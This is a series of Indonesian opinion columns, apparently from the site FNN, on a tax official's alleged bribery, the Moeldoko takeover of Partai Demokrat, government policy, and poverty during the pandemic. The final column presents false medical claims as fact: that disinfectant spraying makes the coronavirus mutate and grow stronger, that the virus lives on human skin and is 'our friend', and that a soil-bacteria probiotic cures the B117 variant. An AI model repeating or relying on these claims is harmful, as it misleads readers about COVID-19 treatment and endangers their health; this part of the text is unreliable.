MENURUT teori kejahatan finansial, 90% pelaku kejahatan itu adalah orang dalam. Teori ini benar adanya, dan bahkan akurat ketika kita menyaksikan betapa brutalnya Direktur Pemeriksaan dan Penagihan Direktorat Jenderal Pajak (DJP) Angin Prayitno Aji merampok uang pajak. Sampai-sampai Menteri Keuangan Sri Mulyani Indrawati menjulukinya sebagai penghianat. Karena itu Sri menyayangkan hari gini masih ada pegawai Kementerian Keuangan yang terlibat korupsi. "Jelas ini pengkhianatan dan telah melukai perasaan baik di Direktorat Jendral Pajak maupun seluruh jajaran Kementerian Keuangan di seluruh Indonesia", kata Sri Mulyani dalam jumpa pers virtual di Jakarta Rabu (3/3) lalu. Curhatan dan makian Menkeu bukan tanpa alasan. Betapa ia berusaha menata birokrasi di Kementerian Keuangan begitu ketat, dengan aturan yang juga ketat, bahkan aparat pajak dibayar jauh lebih mahal dibandingkan aparat birokrasi kementerian lainnya, namun disayangkan tetap kebobolan juga. Kita patut menyayangkan munculnya makelar kasus Gayus Tambunan yang hanya pegawai III A DJP Kementerian Keuangan yang berhasil menjebol uang negara. Bisa dibayangkan Gayus yang pegawai rendahan bisa menjadi makelar atas kasus sengketa pajak senilai Rp10,5 triliun, berapa besar kasus yang digondol Angin? Adalah Masyarakat Anti Korupsi Indonesia (MAKI) yang menduga penyimpangan penagihan pajak senilai Rp1,7 triliun yang melibatkan Angin Prayitno. Mungkin saja rilnya lebih besar. Koordinator MAKI, Boyamin Saiman mengatakan, dugaan tersebut sudah dilaporkan beserta alat buktinya kepada KPK pada Jumat siang (5/3). "Saya datang ke KPK melaporkan proses yang diduga terkait dengan inisial AP yang saat ini dicekal oleh KPK yang saat ini diduga menerima suap berkaitan dengan pengurusan pajak dengan wajib pajak," demikian ujar Boyamin. Lantas bagaimana kronologi Angin Prayitno Aji bisa menjebol uang pajak? Bagaimana kronologi sehingga Angin bisa dijuluki sebagai penghianat? Begini ceritanya. Berdasarkan surat Menteri Keuangan (Menkeu) No.SR-383/MK.03/2017, memberikan izin penyanderaan terhadap DS (Dedy Sutanto), AT dan WW selaku Komisaris dan Direksi PT Industri Pulp Lestari dikarenakan menunggak pembayaran pajak sebesar Rp1,7 triliun. Atas surat izin itu, Kantor Pelayanan Pajak Pratama (KPPP) Jakarta Pluit telah melakukan penyanderaan terhadap DS yang dititipkan di Lapas Klas II A Salemba. Selanjutnya, DS berupaya lepas dari penyanderaan dengan cara membayar Rp15 miliar pada 20 Desember 2017, satu minggu setelah disandera dan membuat surat pernyataan akan membayar dengan seluruh harta kekayaannya sesuai dengan nilai di SPT pribadi. Berdasarkan Peraturan Dirjen Pajak No. PER/03/PJ/2018 tanggal 23 Januari 2018, DS lepas dari sandera pada 24 Januari 2018, atau sehari sejak terbitnya Peraturan Dirjen Pajak pada tanggal 23 Januari 2018. Hal itu pun dinilai tidak wajar jika merujuk syarat-syarat pembebasan sandera pajak, salah satunya pertimbangan Menkeu yang membutuhkan waktu 39 hari. Hingga saat ini tagihan pajak senilai Rp1,7 triliun dari PT Industri Pulp Lestari diduga belum tertagih sepenuhnya. Diduga baru terbayar Rp15 miliar dari DS dan diduga tidak dilakukan penyanderaan terhadap AT dan WW sehingga patut diduga telah terjadi tindak pidana korupsi atas peristiwa tersebut. Adanya dugaan penyimpangan penagihan pajak Rp1,7 triliun itu diduga terkait dengan Angin yang saat itu menduduki jabatan eselon II setingkat Direktur pada DJP. Saat Angin ini telah dicegah ke luar negeri oleh KPK terkait dengan dugaan tindak pidana korupsi berupa suap pajak. Pertanyaannya, bagaimana mungkin Angin hanya mendapat fee atas makelar kasus yang dilakoninya, sementara Gayus bisa mendapat ratusan miliar? Sudah sesulit itukah membobol uang pajak? Atau suap Rp15 miliar itu hanyalah puncak dari gunung es yang sesungguhnya? Semoga tindakan penghianatan yang memalukan ini tidak terulang lagi di kemudian hari.

Pemerintah Jokowi Terlihat Bingung

by M Rizal Fadillah Bandung FNN - Memang paradoks, di satu sisi kran impor dibuka luas hingga banjir impor. Namun di sisi lain membenci produk luar negeri. Ini artinya Pemerintah sudah konslet. Terganggu kesehatan fikiran, budaya, ekonomi, dan politiknya. Terlihat panik soal kebijakan-kebijakan ekonomi di dalam negeri. Kesana salah ke sini keliru. Sebelumnya soal investasi industri minuman keras (miras) yang diberlakukan lalu dicabut, meskipun yang dicabut hanya lampiran. Juga soal pernyataan Direktur Pidana Umum Badan Reserse Keriminal (Bareskrim) Polri terkait status tersangka enam syuhada, anggota laskar Pront Pembela Islam (FPI). Setelah berselang tiga jam diumumkan penghentiannya oleh Kabareskrim Komjen Agus Andrianto. Plan A yang gagal. Pemerintah sudah "confuse" dalam segala hal. Pemerintah juga kehilangan "wisdom", berbicara asal njeplak, dan bergerak menabrak nabrak sana-sini. Pemerintah sudah kaya orang bingung. Tidak tau lagi harus berbuat apa. Akibat dari yang pemerintah bingung, maka rakyat juga beingung. Maka, mari bungung rame-rame, berjamaah. Kalimat harus benci produk luar negeri sudah tidak mempan di telinga dan hati rakyat sekarang. Hanya jadi bahan cemoohan dan olok olok. Pemerintah sudah sulit berjalan ajeg meski memang belum mau melempar handuk. Masalah terus bertumpuk, dan nampak tak mampu mengatasi. Kebijakan yang diambil sepertinya tutup lubang gali gowa. Menyelesaikan masalah dengan memproduksi masalah baru. Membangun nasionalisme dengan sekedar mengucapkan kata benci pada produk asing adalah sikap naif dari seorang presiden yang berlebihan. Hanya mempertontonkan kebungungan kepada rakyat. Jika oposisi yang menyatakan hal seperti itu, maka sudah pasti buzzer segera menuduh "hate speech", lalu dilaporkan ke polisi. Katanya tidak bisa gaul global. Hanya karena sumber “hote speech” itu presiden, karena sumbernya Presiden, ya sudah tafsirkan saja sedang berapi-api memotivasi nasionalisme. Mambangun nasionalisme hanya bermodalkan benci terhadap produk-produkl luar negeri. Tragisnya, hampir 80% kebutuhan pangan kita hari ini adalah Impor, termasuk impor garam dan ayam. Pemerintah seperti terus dibayangi oleh hantu. Hantu dari kilometer 50 tol Jakarta-Cikampek (Japek) terus mengganggu pemerintah. Ketakutan yang luar biasa menghantui pemerintah, hingga tempat Kejadian Perkara (TKP) pun dihancurleburkan. Diratakan dengan tanah. Tidak lagi ada jejak yang ditinggalkan. Penanganan kasusnya dilambat-lambatkan, serta opini yang coba diputarbalikkan. Hantu turun tahta menjadi mimpi buruk bagi pemerintah. Oposisi dibungkam dan potensi lawan dilumpuhkan. Setelah Hizbut Tahrir Indonesia (HTI), Front Pembela Islam (FPI), Koalisi Aksi Menyelamatkan Indonesia (KAMI), kini giliran Partai Demokrat yang diobrak-abrik. Kudeta lewat Rongres Luar Biasa (KLB) akhirnya jadi juga. Moeldoko, sang brutus tersebut terang-terangan membunuh SBY yang telah membesarkannya. Moeldoko yang dibesarkan SBY, mulai dari kolonel samai jendral bintang empat, dan berakhir dengan jabatan Panglima TNI. Kini Moeldoko telah menjadi Ketua Umum hasil KLB. Mungkin tidak lama lagi, Surat Keputusan Menkumham tentang pengesaham kepungurusan Moledoko segera terbit. Hantu krisis ekonomi terus menakut-nakuti. Hutang luar negeri kini telah bertumpuk-tumpuk, mencapai Rp. 6.233 triliun. Sementara hutang tambahan yang baru, sangat sulit, bahkan setengah mati untuk bisa mendapatkan. Investasi asing juga tidak kunjung tiba, dan terus masih dinanti. Pandemi melemahkan daya beli. Korupsi pun menjadi-jadi. Akhirnya stress dan caci maki. Produk luar negeri yang tidak bersalah pun harus dibenci. Caci maki yang kehilangan arti, sebab kata tidak sesuai dengan bukti dalam kebijakan. Hanya pemerintah terlihat bingung, kebijakannya semakin linglung. Meski berjalan terhuyung-huyung di depan rakyat tetap berusaha mencari panggung. Panggung tak bergaung. Aduh biyung...! Penulis adalah Pemerhati Politik dan Kebangsaan.

Faksi Anas Dibalik Kudeta Partai Demokrat Oleh Moeldoko

by Tarmidzi Yusuf Bandung FNN - Disinyalir tokoh senior mantan kader Partai Demokrat yang hadir di Kongres Luar Biasa (KLB) abal-abal Partai Demokrat di Hotel The Hill Deli Serdang, Jum'at 5 Maret 2021. Mayoritas dari mereka adalah orang-orangnya dari Faksi Anas Urbaningrum (AU). Mereka yang dikenal gigih memperjuangkan AU di Kongres 2010. Mereka juga yang mengantarkan AU menjadi orang nomor satu di Partai Demokrat. Bahkan santer terdengar ketika itu, AU telah disiapkan menjadi Calon Presiden 2014. Sayangnya, menurut info yang beredar ketika itu. Niat AU untu menjadi calon presiden pada 2024 tercium oleh SBY. Singkat cerita, Skandal Hambalang dijadikan jembatan untuk “mengubur” impian besar AU dan faksinya untuk bersinar hingga 2014. Impian AU tenggelam pada medio 2012, dan terkubur melalui KLB Partai Demokrat tahun 2013. Jika dicari celah, maka pejabat politik mana yang tidak korupsi di zaman now. Namun kasus Hambalang dijadikan alasan oleh SBY untuk membunuh Anas. Aroma adanya balas dendam politik antara gabungan Faksi AU dan Moeldoko dengan “saling meminjam tangan”, yang kebetulan lagi mencari kendaraan politik untuk tahun 2024 terbaca dengan cerdik oleh Moeldoko dan istana. Memanfaatkan Faksi AU untuk tujuan politik Moeldoko dan istana. Faksi AU tentu saja mempunyai dendam politik politik yang besar kepada ABY. Karena digusur oleh SBY melalui Kongres Partai Demokrat tahun 2013. Kongres yang dilakukan setahun menjelang SBY lengser dari kursi Presiden. Hasilnya, semua gerbong UU dihabisi oleh SBY Adanya konspirasi politik antara Faksi AU dengan Moeldoko, walaupun berbeda tujuan politik, namun memiliki target yang sama, yaitu SBY. Target politik Faksi AU tentu 'menghabisi' politik dinasti SBY di Partai Demokrat. Sementara, target politik Moeldoko untuk kepentingan politik tahun 2024. Soal legal atau ilegal, itu soal belakangan. Yang penting, rebut dulu kembali Partai Demokrat. Politik jahiliyah memang kejam dan tak bermoral. Pertarungan Faksi AU dan SBY memasuki babak kedua pasca KLB Partai Demokrat tahun 2013. Nyaris semua orang-orang AU disingkirkan. Setelag KBL Deli Serdang, sekarang kemungkinan giliran semua orang-orang SBY yang disingkirkan. Serangan balik terjadi setelah 7 tahun Faksi AU tersingkir dari Partai Demokrat. Kini, mereka faksi AU telah menemukan celah balik untuk menghabisi'SBY melalui kudeta Partai Demokrat oleh Moeldoko. Peluang kepengurusan Moeldoko cs untuk disahkan oleh Menteri Hukum dan HAM sangat besar. Bila tidak ada MLB (Manuver Luar Biasa) dari SBY untuk menggagalkan pengesahan kepengurusan Moeldoko oleh Menteri Hukum dan HAM. Beginilah bila keserakahan dan ambisi politik tidak dibarengi dengan agama. Politik menghalakan segala cara bisa terjadi setiap saat. Politik ala orang-orang tidak beragama. Dari Abu Hurairah, Rasulullah shallallahu ‘alaihi wa sallam bersabda, إنَّكُمْ سَتَحْرِصُونَ عَلَى الإمَارَةِ ، وَسَتَكونُ نَدَامَةً يَوْمَ القِيَامَة “Nanti engkau akan begitu tamak pada kekuasaan. Namun kelak di hari kiamat, engkau akan benar-benar menyesal” (HR. Bukhari no. 7148) Penulis adalah Pegiat Dakwah dan Sosial.

Fatamorgana Indonesia, Penduduk Miskin Naik Menjadi 27,5 Juta

by Tamsil Linrung Jakarta FNN - Semua bangsa punya masalah, tanpa kecuali. Tetapi persoalannya bukan pada masalah yang menimpa, melainkan cara sebuah bangsa merespon masalah tersebut. Respon yang tepat berujung pada solusi. Namun respon yang keliru menambah berat persoalan. Pandemi global Covid-19 adalah cermin yang tepat buat kita mengaca perbedaan negara-bangsa merespon situasi. Ketika pandemi melanda dunia setahun lalu, negara lain sibuk membatasi akses lalu lalang dan pergerakan orang. Menutup batas wilayah negara dan memblokade akses antar provinsi. Bangsa kita malah mempromosikan pariwisata atau mempromosikan jamu. Saat itu, untuk tahun anggaran 2019, pemerintah menganggarkan Rp 72 Miliar untuk mebayar influencer dan promosi wisata. Anggaran sebesar itu menjadi bagian dari total insentif sebesar Rp 298,5 miliar yang dikeluarkan pemerintah untuk menarik minat wisatawan mancanegara. Bukannya menyadari kekeliruan itu, sejumlah kebijakan dan ucapan pejabat malah menjadi sumber kontroversi. Lekat diingatan kalimat "corona masih jauh, masker hanya untuk orang yang sakit, mudik versus pulang kampung," dan seterusnya. Selain jamu, seorang menteri bahkan pernah perkenalkan kalung anti corona. Hasilnya? Indonesia sempat mencatat rekor negara pertama di Asia Tenggara dengan satu juta kasus covid-19. Negara dengan angka kematian akibat Covid-19 tertinggi di Asia Tenggara. Menempati urutan ketiga di Asia setelah India dan Iran. Bukan Tentang Covid Sekali lagi, ini bukan tentang Covid-19. Ini tentang cara kita merespon masalah yang berpengaruh pada disorientasi perumusan keputusan. Ya ada koreksi, ada introspeksi pada setiap kebijakan yang keliru. Bila perlu sebuah permintaan maaf kepada publik, setiap kali kebijakan yang merugikan rakyat. Itu tidak buruk. Itu sehat demi perbaikan negeri. Penanganan pandemi Covid-19 bukan hanya tentang kesehatan, tetapi juga ekonomi. Masalahnya, dua sektor ini saling overlapping. Titik balik perbaikan ekonomi sangat bergantung pada penanganan pandemi Covid-19. Sementara penanganan pandemi tentu memerlukan alokasi biaya yang tidak sedikit. Sayangnya, solusi yang dipandang paling jitu sepertinya hanya mengutang. Sudah begitu, bunganya tinggi pula. Tadinya, utang menumpuk demi infrastruktur. Sekarang, utang menggunung demi memenuhi pembiayaan penanganan Covid-19. Hingga akhir Januari 2021, jumlah utang Indonesia mencapai 6.233,14 triliun rupiah. Seiring menggunungnya pokok utang, bunganya pun terus membengkak. Tahun ini saja, beban bunga utang naik lagi 18,8 persen, atau sekitar dari Rp. 314,1 triliun pada 2020 triliun. Sekarang bunga utang naik menjadi Rp 373,26 triliun pada 2021. Ironisnya, kebijakan utang pemerintah yang dulu dikonsentrasikan untuk pembangunan infrastruktur, justru terancam mangkrak di beberapa tempat. Sebutlah proyek kereta cepat Jakarta-Bandung senilai U$ 5,5 miliar dolar atau jalur kereta api Makassar-Parepare sepanjang 145 kilometer di Sulawesi Selatan. Perencanaan proyek yang ambisius berubah menjadi mimpi buruk. Rumah rakyat tergusur, lahan pertanian beralih fungsi, belum lagi dampak banjir akibat pembangunan rel dengan perhitungan drainase yang minim. Gubernur Sulsel Nurdin Abdullah manargetkan pembangunan proyek rel kereta api di Sulsel selesai Juni 2021. Namun, tak kunjung terlihat pergerakan di lapangan. Belakangan, sang gubernur malah terjerat Operasi Tangkap Tangkap Tangan (OTT) KPK dalam kasus dugaan suap proyek infrastruktur. Upaya pencegahan dan pemberatasan korupsi semestinya dilakukan dari pucuk tertinggi pemerintahan. Namun, dari sana pula catatan buruk korupsi juga banyak ditemukan. Belum genap dua periode Jokowi menjabat presiden, empat menterinya sudah tersandung korupsi. Sebanyak dua menteri di periode pertama yakni Idrus Marham dan Menteri Pemuda dan Olahraga Imam Nahrawi. Dua menteri lagi di periode kedua, yakni Menteri Kelautan dan Perikanan Edhy Prabowo dan Menteri Sosial Juliari Batubara. Presiden Jokowi gagal dalam upaya pencegahan dan pemberantasan korupsi ketika jajaran kabinet yang dipilih dan disusunnya sendiri justru tersandera korupsi. Seharusnya pengalaman dua menteri terciduk KPK di periode pertama memberi pelajaran untuk ekstra hati-hati menyusun kabinet di periode kedua. Namun, reputasi yang sama kembali terulang. Bahkan catatannya menjadi lebih buruk sebab penangkapan dua menteri terjadi dalam tempo belum satu setengah tahun periode kedua berjalan. Kemiskinan Merebak Pada akhirnya, rakyat jugalah yang menanggung. Kemiskinan meningkat, pengangguran bertambah, dan pandemi yang berkepanjangan menambah berat bobot persoalan menyusul robohnya sejumlah usaha dalam sektor industri dan Usaha Menengah Kecil dan Mikro (UMKM). Alhasil, persentase kemiskinan menembus dua digit. Data ini berdasarkan Survei Ekonomi Nasional September 2020 oleh Badan Pusat Statistik ( BPS). BPS mencatat, jumlah penduduk miskin mencapai 27,55 juta atau 10,19 persen dari jumlah penduduk. Angka tersebut naik 2,76 juta jiwa dibandingkan September 2019 atau bertambah 0,97 persen secara tahunan. Tingkat kemiskinan terakhir kali menembus dua digit pada September 2017 dengan jumlah 26,58 juta jiwa. Alasan yang selalu dipakai pemerintah, kenaikan penduduk miskin itu karena faktor Covid-19. Namun, kalau kita menelisik data BPS sebelumnya, tren angka kemiskinan sesungguhnya telah menanjak sebelum musim Covid-19 . Faktanya, jumlah penduduk miskin Indonesia pada September 2019 sebesar 24,79 juta orang, lalu bertambah menjadi 26,42 juta orang pada Maret 2020. Relevan dengan data tersebut, Institute for Development of Economics and Finance (Indef) dalam laporan catatan awal 2021 menyatakan, tingkat pengangguran terbuka diperkirakan naik hampir dua kali lipat sebesar 7,8 persen atau sebanyak 10,4 juta jiwa. Angka pengangguran itu belum termasuk pengangguran terselubung yang jumlahnya dua kali lipat dari pengangguran terbuka. Praktis, pelebaran angka kemiskinan mengakibatkan kehidupan kesehatan masyarakat menjadi rentan. Pasalnya, kemiskinan cenderung diikuti oleh permasalahan lain, seperti rendahnya kualitas hidup masyarakat. Juga kurangnya asupan gizi, kecukupan nutrisi serta kualitas pangan, dan lain-lain. Padahal, di musim pandemi begini, daya tahan tubuh harus selalu ditingkatkan. Salah satunya melalui suplai nutrisi yang baik dan berkualitas. Di tengah situasi demikian, iuran BPJS kesehatan justru naik sejak Januari 2021 melalui Peraturan Presiden (Perpres) Nomor 64 tahun 2020 tentang Perubahan Kedua atas Peraturan Presiden Nomor 82 Tahun 2018 tentang Jaminan Kesehatan. Kebijakan ini rasanya berbanding terbalik dengan relaksasi pajak penjualan mobil, meski terbatas dalam kategori produk low cost green car (LCGC). Yang miskin semakin miskin. Sebaliknya, yang kaya semakin kaya. Alhasil, jurang kesenjangan sosial semakin terbuka lebar. Jangankan saat ini, jauh sebelum pandemi Covid-19 melanda saja, kesenjangan sosial sudah terlihat nyata dan telanjang di masyarakat. Laporan KPK yang diformat dalam Nota Sintesis Evaluasi Gerakan Nasional Penyelamatan Sumber Daya Alam (GNP SDA) 2018 menyebutkan, pengelolaan SDA di Indonesia jauh dari rasa keadilan, karena tingkat ketimpangan yang tinggi. Untuk sektor kehutanan, penguasaannya seluas 40.463.103 hektar. Namun masyarakat hanya mendapatkan porsi 1.748.931 hektar, atau perbandingannya setara 96 : 4. Pertanyaannya, dengan fakta-fakta di atas, lalu apa yang akan diwariskan Pemerintah saat ini kepada anak cucu kita kelak? Kita tunggu seperti apa perjalanan republik 3,5 tahun ke depan, hingga akhir masa Jabatan Presiden Jokowi. Jangan biarkan Presiden Jokowi bekerja sendiri. Kita dukung beliau dengan kerja-kerja produktif dan kritik yang argumentatif, agar Indonesia tidak menyimpang lebih jauh. Presiden Jokowi menyebut tahun 2021 ini dapat menjadi momentum Indonesia menjadi negara maju, jika mampu keluar dari krisis akibat Covid-19 dengan baik. Penulis Adalah Senator DPD RI.

Moeldoko Merampas Partai Mau Menjadi Presiden?

by Asyari Usman Medan, FNN - Banyak yang harus dikritik keras terkait cara Susilo Bambang Yudhoyono (SBY) memimpin Partai Demokrat (PD). Begitu juga cara pendinastian Partai Mercy itu kepada anak-anak beliau. SBY jelas-jelas menzalimi Anas Urbaningrum ketika dia terpilih sebagai ketua umum PD di Kongres II 20-23 Mei 2010 di Bandung. Pada 2013, SBY melakukan “kudeta” terhadap Anas untuk merebut posisi ketua umum. Selain itu, SBY juga ikut bertanggung jawab atas pengukuhan kepresidenan Joko Widodo (Jokowi) yang kemudian mengelola negara ini dengan cara yang sewenang-wenang. Yang telah menimbulkan kekacauan ekonomi, kegaduhan sosial, dan kebobrokan politik. Banyak tindak-tanduk SBY yang tidak elegan ketika dia menguasai PD. Ketika dia memanfaatkan partai ini untuk menopang kekuasaannya. Dan ketika dia menjadikan Demokrat sebagai “properti keluarga”. Singkat kata, SBY memang pantas dicela dalam cara dia menguasai dan menjalankan PD. Akan tetapi, cara Kepala Staf Presiden (KSP) Moeldoko mengambil alih PD sekarang ini, jauh lebih parah lagi. Jauh lebih tak beradab. Bahkan sangat brutal. Pengecut. Dan menunjukkan keteladanan yang jorok dalam kehidupan politik Indonesia yang belakangan ini memang sudah rusak berat. Moeldoko mengambil alih PD dengan cara “jalanan”. Mirip-mirip dengan aksi para begal yang merampas sepeda motor di tengah malam. Di tikungan-tikungan sepi. SBY mengambil Demokrat dari tangan Anas lewat cara yang sah dan sesuai AD-ART. Ini saja pun terlihat sangat keji. Konon pula dengan cara-cara yang dilakonkan oleh Moeldoko. Moeldoko bukan kader Demokrat. Kudeta mungkin masih bisa “dimaklumi” kalau dia adalah bagian dari partai. Kalau dia sudah lama bergelut di partai itu semisal Marzuki Ali. Moeldoko melancarkan kudeta karena mentang-mentang. Mentang-mentang dia berkuasa. Mentang-mentang bisa mengendalikan aparat keamanan supaya tidak membubarkan Kongres Luar Biasa (KLB) di Sibolangit yang sangat bertentangan dengan protokol kesehatan. KLB di Sibolangit (5-7 Maret 2021) yang dipimpin oleh Jhoni Allen Marbun adalah bentuk kepengecutan. Sengaja menjauh dari kekuatan solid PD di Jawa dan wilayah-wilayah lain yang mendukung kepemimpinan sah Agus Harimurti Yudhoyono (AHY). Tidak ada satu pun ketua DPD atau DPC yang hadir di Sibolangit, kata AHY. KLB ini adalah perhelatan ala “kangaroo court” (pengadilan kangguru). Yaitu, cara-cara yang tidak sah. Simaklah cara Jhoni Allen ketika membacakan hasil Kongres berikut ini. "Kongres Luar Biasa Partai Demokrat menimbang dan seterusnya, mengingat dan seterusnya, memperhatikan, memutuskan, menetapkan pertama, dari calon kedua tersebut atas voting berdiri, maka Pak Moeldoko ditetapkan menjadi Ketua Umum Partai Demokrat periode 2021-2025." Beginilah prosesi “kangaroo court” yang diketuai Jhoni Allen. Begitu kongres dibuka, saat itu juga Moeldoko langsung terpilih sebagai ketua umum. Menabrak semua ketentuan internal partai. Kudeta Moeldoko ini tidak boleh dibiarkan. AHY sudah benar dalam menyatakan sikapnya untuk melawan. Menkum HAM tidak etis, tidak konstitusional, dan tidak aspirasional kalau mensahkan kepengurusan hasil kudeta terkutuk ini. Moeldoko memberikan contoh yang sangat buruk kepada generasi penerus tentang cara menjadi pimpinan partai. Karena itu, jangan sampai orang seperti ini menjadi pemimpin bangsa dan negara. Jangan sampai dia menjadi presiden lewat PD yang dia rampas. Publik perlu diingatkan karena sangat santer ambisi Moeldoko untuk ikut dalam Pilpres 2024. Kalau saja kendaraan politik Meoldoko adalah hasil rampasan, bagaimana lagi nanti dia mengelola negara ini jika diberi mandat sebagai presiden?[] Penulis Wartawan Senior FNN.co.id.

Probiotik, Manjur Atasi Semua Jenis Varian Corona

by Mochamad Toha Surabaya, FNN - Seorang dokter membuat status di laman Facebook-nya tentang Virus Corona B117 disertai link beritanya. “.... dan... Mutasi Lagi ....” Status itu kemudian dikomentari oleh sejawatnya yang juga seorang dokter alumni Fakultas Kedokteran Universitas Airlangga. “Anak saya Januari lalu sepertinya sudah kesenggol B117 ini... gejalanya persis sama plek. Alhamdulillah 4 hari digeber probiotik sudah sehat lagi,” tulisnya. Apa yang dialami anak dokter ini adalah fakta medis, bukan hoax, termasuk aplikasi formula probiotik. Masuknya Corona B117 tersebut diungkap oleh Wakil Menteri Kesehatan dr. Dante Saksono. Ada dua kasus varian baru Corona B117 yang ditemukan di Indonesia. Laporan diumumkan bertepatan dengan setahun pandemi Corona di Indonesia. Ia mendapatkan informasi, tepat dalam setahun ini Kemenkes menemukan mutasi B117 UK mutaion di Indonesia. “Ini fresh from the oven, baru tadi malam ditemukan 2 kasus. Artinya kita kana menghadapi pandemi ini dengan tingkat kesulitan yang makin berat,” ujar Dante. Varian Corona Inggris B117 tersebut sebelumnya sudah menyebar di setidaknya 60 negara, berdasarkan catatan Organisasi Kesehatan Dunia (WHO). Varian Corona Inggris B117 yang diyakini 70 persen lebih menular ini juga merebak di Singapura dan India. Namun, gejala COVID-19 yang dilaporkan beberapa pasien yang terkena varian Corona B117 ini berbeda dengan biasanya. Apa saja? 1. Kelelahan dan merasa lesu. Para pakar Inggris menemukan pasien Corona baru-baru ini lebih umum mengalami gejala Covid-19 kelelahan di awal terpapar. Kelelahan akibat infeksi Covid-19 varian baru ini disertai dengan rasa pusing. Alasan pasien Corona bisa mengalami gejala ini salah satunya disebabkan adanya sitokin dalam sistem kekebalan tubuh, respons dari reaksi infeksi yang menyerang tubuh. Efek samping melawan patogen dapat membuat tubuh merasa lelah terus menerus. 2. Mual hingga pusing. Selain itu, gejala Covid-19 neurologis seperti pusing, kelelahan, hingga mual juga ditemukan pada pasien Corona Inggris. Sulit membedakan gejala ini dengan penyakit lainnya lantaran bisa juga dipicu kondisi lain. Namun, satu-satunya cara yang bisa dilakukan saat muncul gejala Covid-19 mual hingga pusing di awal terpapar adalah istirahat yang cukup dan mengatur pola makan. Sebisa mungkin menghindari lebih dulu olahraga berat. 3. Nyeri otot. Varian baru Corona B117 Inggris juga membuat para pasien mengalami nyeri otot. Jumlah kasus yang mengalami gejala Covid-19 nyeri otot ini juga meningkat dua kali lipat di Inggris. Sebenarnya, penyebab nyeri otot bisa terjadi karena myalgia. Kondisi saat virus menyerang serat otot dan lapisan jaringan penting. Adanya peradangan secara luas juga bisa menyebabkan nyeri sendi, rasa lemah dan nyeri tubuh selama terpapar. Jika mengalami gejala Covid-19 ini ada baiknya kamu segera melakukan tes. Selain tiga gejala tersebut, berikut gejala COVID-19 lain yang ditemukan Layanan Kesehatan Inggris (NHS), seperti dikutip dari Express UK. 1. Sakit (radang) tenggorokan; 2. Diare; 3. Konjungtivitis (mata merah); 4. Sakit kepala; 5. Ruam pada kulit; 6. Perubahan warna (discolouration) pada jari tangan dan kaki. Sebelumnya, Pemerintah telah mengungkap temuan dua kasus varian baru Corona B117 di Karawang. Berdasarkan keterangan, kedua pasien merupakan Pekerja Migran Indonesia (PMI) yang datang dari Arab Saudi beberapa waktu lalu. Direktur Pencegahan dan Pengendalian Penyakit Menular Kementerian Kesehatan dr. Siti Nadia Tarmizi mengungkap kondisi terkini dua pasien yang terinfeksi virus Corona varian baru B117. “Gejala sama dengan infeksi virus Covid biasa. Kondisi sudah sehat, sudah kembali bersama keluarga,” kata dr. Nadia kepada Detikcom, Kamis (4/3/2021). Menurutnya, kedua kasus ini ditemukan saat surveilens genom sequensing pada pelaku perjalanan. “Jadi, dari orang yang datang dari Arab,” lanjut dr. Nasia. Saat ini pihaknya masih melakukan proses tracing ke sejumlah orang yang pernah kontak dekat dengan pasien. Juru bicara Satuan Tugas Penanganan Covid-19 Karawang dr. Fitra Hergyana menyebut total sudah ada 15 orang yang ditracing terkait temuan kasus Corona B117. Dari dua kasus yang ditemukan, Fitra menyebut hanya ada satu yang mengeluhkan gejala yakni Ny M. Namun disebutkan, gejala yang dikeluhkan masih dikategorikan ringan. “Sudah negatif dan sebenarnya baik-baik saja, sebelumnya yang satu kan memang sempat ada demam dan batuk, tapi sudah pulih,” kata Fitra, Rabu (3/3/2021). Mengapa Probiotik Mengapa Virus Corona bisa bermutasi dengan variasi genetika yang berbeda? Salah satunya karena masifnya penyemprotan desinfektan berbasis alkohol dan bahan kimia lainnya. Perlu dicatat, virus corona itu basic-nya seperti virus influenza. Habitatnya juga ada di kulit sekitar hidung manusia. Mereka ini bertugas membersihkan zat-zat patogen yang menempel di kulit sekitar hidung dan bibir atas. Mereka juga bertugas membantu menjaga kelembaban kulit manusia. Jadi, sebenarnya virus corona tersebut berada di tubuh manusia. Sifat dasar virus/bakteri itu serupa dengan antibodi, manusia, hewan, atau tanaman. Yakni, kalau mereka tersakiti, mereka akan memperkuat dirinya, dan menggandakan dirinya beratus-ratus kali lipat, dibandingkan pada kondisi normal. Covid-19 yang tertuduh sebagai pembunuh massal sadis itu, berusaha dibunuh secara massal pula, dengan disemproti desinfektan secara massal. Akibatnya, ada sebagian yang mati, ada sebagian yang masih hidup. Mungkin yang masih hidup lebih banyak dibanding dengan yang sudah mati. Karena sudah menjadi sifatnya virus/bakteri itu, maka yang hidup ini menggandakan dirinya beratus-ratus atau beribu-ribu kali lebih banyak dan lebih kuat dibanding sebelumnya. Kalau sebelumnya kemampuan terbangnya hanya sekitar 1,8-2 m, menjadi akan lebih jauh lagi dibanding dengan itu. Kemampuan terbang lebih jauh inilah yang menyebabkan mereka menjadi bersifat “airborne infection”. Lalu karena jumlah mereka sangat banyak, mereka juga menemukan bakteri-bakteri lain yang mempunyai daya terbang lebih jauh. Corona menumpang pada bakteri lainnya. Hal ini serupa dengan pesawat ulang alik yang numpang pada pesawat yang berbadan lebih besar. Akibat dari penyemprotan desinfektan secara massal, menyebabkan mereka menjadi: Lebih banyak; Lebih kuat; Mampu terbang lebih jauh; Daya rusaknya lebih hebat. Pada saat ditemukan di Timteng yang disebut dengan MERS-CoV (middle east respirstory syndrome coronavirus), yang menjadi kambing hitamnya adalah Onta. Karena hewan itulah yang ada di sana. Kematian tidak ada hubungannya dengan corona. Kalau waktunya mati, tak ada corona pun, bisa mati. Andaikan didemo besar-besaran sama corona, kalau belum waktunya mati, ya tetap sehat. Corona itu sahabat kita, bukan musuh kita. Kesembuhan anak seorang dokter yang diduga sudah terinfeksi Corona B117 di awal tulisan, tidak lepas dari “vaksin” probiotik berbasis mikrobiota. Perlu diketahui, formula probiotik adalah bakteri komunitas dengan jumlah ribuan strains bakteri tanah (hingga 7500 strains) dan didominasi oleh “sekumpulan bakteri negatif” yang dibutuhkan oleh tubuh. Pada saat virus dihadirkan probiotik, maka virus corona ini berasumsi yang dihadirkan di probiotik itu adalah kawan-kawan mereka. Sehingga “virus tidak lagi merasa diserang, tidak merasa disakiti, tidak merasa terancam keberadaannya”. Yang terjadi kemudian, bersama-sama dengan sekumpulan bakteri lengkap probiotik, mereka akan hidup normal, berkembang dan regeneratif sesuai fitrahnya. Keseimbangan Mikrobiota kemudian yang terjadi. Pada saat semua seimbang, selesai sudah masalah karena tidak lagi ada yang terlalu dominan, tak lagi ada ketimpangan. Pada dasarnya, semua ciptaan Allah SWT itu diciptakan dalam keadaan berpasang-pasangan. 